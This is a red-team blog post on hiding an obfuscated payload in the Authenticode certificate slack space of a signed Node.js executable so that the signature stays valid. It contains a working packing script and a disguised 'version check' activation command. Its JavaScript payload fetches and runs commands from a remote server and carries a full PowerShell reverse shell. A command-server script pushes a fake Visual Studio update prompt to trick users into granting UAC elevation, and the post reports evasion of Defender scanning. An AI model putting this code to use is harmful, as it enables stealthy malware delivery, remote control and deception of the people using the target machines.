Smuggling Unsigned Data in Authenticode Signature Slack Space
Hey space travelers 🚀
Today I’m sharing a red team rough cut I’ve been cooking up in the lab. The goal is smuggling a substantial malicious payload stealthily onto a host within the guise of a signed executable.
My inspiration came from reviewing Authenticode implementation details and doing some thought exercises for working around code signing based mitigations.
Lab Setup
Target Machine:
OS Name: Microsoft Windows 11 Pro
OS Version: 10.0.26100 N/A Build 26100
- All windows security center settings are default
Assumptions
This article is written with the assumption that the attacker already has a limited command execution vector on this machine, but it should be noted the approach might be adapted to be social engineering friendly as well.
The Big Picture
The central question this technique revolves around is this: can I create slack space after the Attribute Certificate Table to hide payload data in plain sight? If so I can hypothetically find a signed executable from an organization with high-trust, then use that executable to self-execute its embedded payload.
After considering the ranges of the executable that are included in the signing hash I postured we might be able to just expand IMAGE_DIRECTORY_ENTRY_SECURITY.Size
to create arbitrary amounts of slack space after certificate data, but before the PE “Remaining content”.
🔔 This slack space is omitted from the rolling hash calculation.
Since the certificate data is typically the last thing included in the binary there’s a low risk of pointer/reloc corruption.
I opted to attempt a proof-of-concept using the Node.JS runtime binary, which:
- Is self-contained (no unmanageable requirements on other dynamically linked components)
- Is signed by a well-trusted organization and distributed prolifically
- Can self-execute its payload given a concise activation CLI string
This creates cool comparison points with delivering the payload as a onefile or discrete JS script:
- Onefiles can be signed, but an attacker will never be able to sign it with the well-trusted OpenJS foundation certificate
- Both discrete scripts and onefiles create more forensic artifacts / EDR sensor touchpoints (more on this later…)
I think it is important to point out: this is not a code signing bypass. I can’t alter the behavior of a signed binary - only stealthily smuggle unsigned data inside it.
Building a Binary
Embedding a payload script is fairly trivial:
import pefile
from signify import authenticode
print(f'[*] Reading node_orig.exe')
target = pefile.PE("node_orig.exe")
sec_dir_size = target.OPTIONAL_HEADER.DATA_DIRECTORY[pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_SECURITY']].Size
with open('payload.js', 'rb') as f:
payload = f.read()
payload = bytes([c + 23 for c in payload])
expand = ((len(payload) + 7) // 8) * 8
print(f'[*] Expanding security directory size from 0x{sec_dir_size:X} to 0x{sec_dir_size + expand:X}')
target.OPTIONAL_HEADER.DATA_DIRECTORY[pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_SECURITY']].Size += expand
print(f'[*] Writing node.exe')
with open('node.exe', 'wb') as f:
f.write(target.write())
f.write(payload)
f.write((expand - len(payload)) * bytes([23]))
print(f'[*] Verifying signature')
with open("node.exe", "rb") as f:
pefile = authenticode.SignedPEFile(f)
status, err = pefile.explain_verify()
if status != authenticode.AuthenticodeVerificationResult.OK:
print(f"\x1B[0;31m[-] Signature is Invalid: {err}\x1B[0m")
else:
print("\x1B[0;32m[+] Signature is Valid\x1B[0m")
PAYLOAD_CMD = f'''.\\node -e "node_version_check = require(process.version[0]+'m').runInNewContext(require('fs').readFileSync('node.exe').slice(-{expand}).map(version=>version-23).toString(),global)"'''
print(f"\x1B[0;36m\tcommand string > {PAYLOAD_CMD}\x1B[0m")
In the above example I load an unmodified node executable from node_orig.exe
and pack the target payload payload.js
into an expanded security directory. After this we assert the signature remains valid and propose an activation CLI.
🔔 Note that the payload is obfuscated with a simple add/sub, keeping it from standing out in the patched binary.
The payload is an intentionally low-evasiveness remote command executor. For the sake of demonstration I wanted to use an obviously shitty payload that would flag as many sensors as possible upon hitting the filesystem 💩
// replace with your own "un-shitty" payload
const http = require('http');
const p = require('child_process');
const queryCommand = () => {
return new Promise((resolve, reject) => {
http.get('http://192.168.1.1:8081/health', (res) => {
let data = '';
res.on('data', (chunk) => { data += chunk; });
res.on('end', () => { resolve(JSON.parse(data)); });
}).on('error', (err) => {
reject(err);
});
});
};
const phoneHome = async () => {
try {
const commands = await queryCommand();
for (const command of commands) {
p.spawnSync(command[0], command[1])
}
} catch (e) {
console.error(e);
}
}
const reverseShell = () => {
// just nonsense to trigger detections
p.execSync(`powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('192.168.1.1', 8082);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"`)
};
const reverseShell2 = () => {
// just nonsense to trigger detections
var s=new ActiveXObject("WScript.Shell");var r=s.RegRead("HKCU\\Software\\LOTL\\LOTL\\LOTL_Key");eval(r);
}
setInterval(phoneHome, 1000 * 30);
// [truncated eicar so this html page doesn't trigger detections] 7}$EICAR-STANDARD-ANTIVI
// ending comment so trailing nulls aren't interpreted as code
Activation CLI Notes
The activation command string is key to this technique being stealthier than script file dropping. In my example command string I attempt to cloak behavior behind “version check” keywords, and also avoid typical red flags like eval
. We gain some stealth by only performing a self-read on the executing node binary itself, but lose some proportionally to how fishy our activation commands look - this is a balance, and the demo command I provided is just one idea.
Deploying the Payload and Taking Notes
I saw several desirable outcomes when deploying my payload on the lab machine:
- Defender treated this binary more favorably than an unsigned dynamic code executor when dropped from
iwr
  See: ~4x time spent screening the node binary when the payload was embedded outside of security directory slack space.
- Defender treated this binary more favorably than a javascript payload file when dropped from
iwr
  See: no detect compared to js payload detect-on-write.
- Defender treated this binary more favorably than an unsigned dynamic code executor when downloaded via browser engine
- UAC Elevator Pitch: Social engineering for elevation is more compelling because it can lean on the trust of the originating signed binary
  Take for example the following demo command server scenario:
const http = require('http');
const commandQueue = [
[`powershell`, [`
Add-Type -AssemblyName System.Windows.Forms
[System.Windows.Forms.Application]::EnableVisualStyles()
[System.Windows.Forms.MessageBox]::Show("Visual Studio needs your permission to update the Node.JS LTS runtime.\`n\`nNode.JS v23.5.0 is an important security and stability update recommended for all users, install now?", "Node.JS Tools for Visual Studio", 4, 64)
`]],
[`powershell`, [
'Start-Process',
'.\\node',
'-Verb', 'RunAs',
'-ArgumentList', '"-e console.log(\'malicious updater running elevated here\')"'
]],
]
const server = http.createServer((_req, res) => {
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify(commandQueue));
commandQueue.shift();
commandQueue.shift();
});
server.listen(8081);
The delivered commands attempt to create a compelling narrative for the user to accept an upcoming UAC prompt.
🔔 The elevator prompt retains the trust of the original signed binary.
Final Takeaways
- My take: Analysts, sandboxes, and cloud ML scanners will have a harder time discovering this embedded payload
- The payload is obfuscated and inert without knowing the command string to activate
- The obfuscated payload is not trivially detectable
- Simple activation command string limits detections via process command line introspection
- Command string is near infinitely reconfigurable - signature matching won’t be a problem
- The payload is obfuscated and inert without knowing the command string to activate
Being Realistic
While this technique is intriguing in theory, a few reality checks are in order.
-
The difficult task of evading an EDR post deployment remains largely the same once we get past the smuggling step
-
In my example the binary is extremely heavyweight, and this will generally be the case
-
I can’t yet say confidently that for the effort this technique is dramatically better than dropping a vanilla node interpreter on a machine and abusing that 😴
Maybe as I flesh this idea out and try some different host binaries we’ll be able to prove the technique out further - more research needed.
All in all some cool food for thought, no?
Happy hacking, until next time 🎊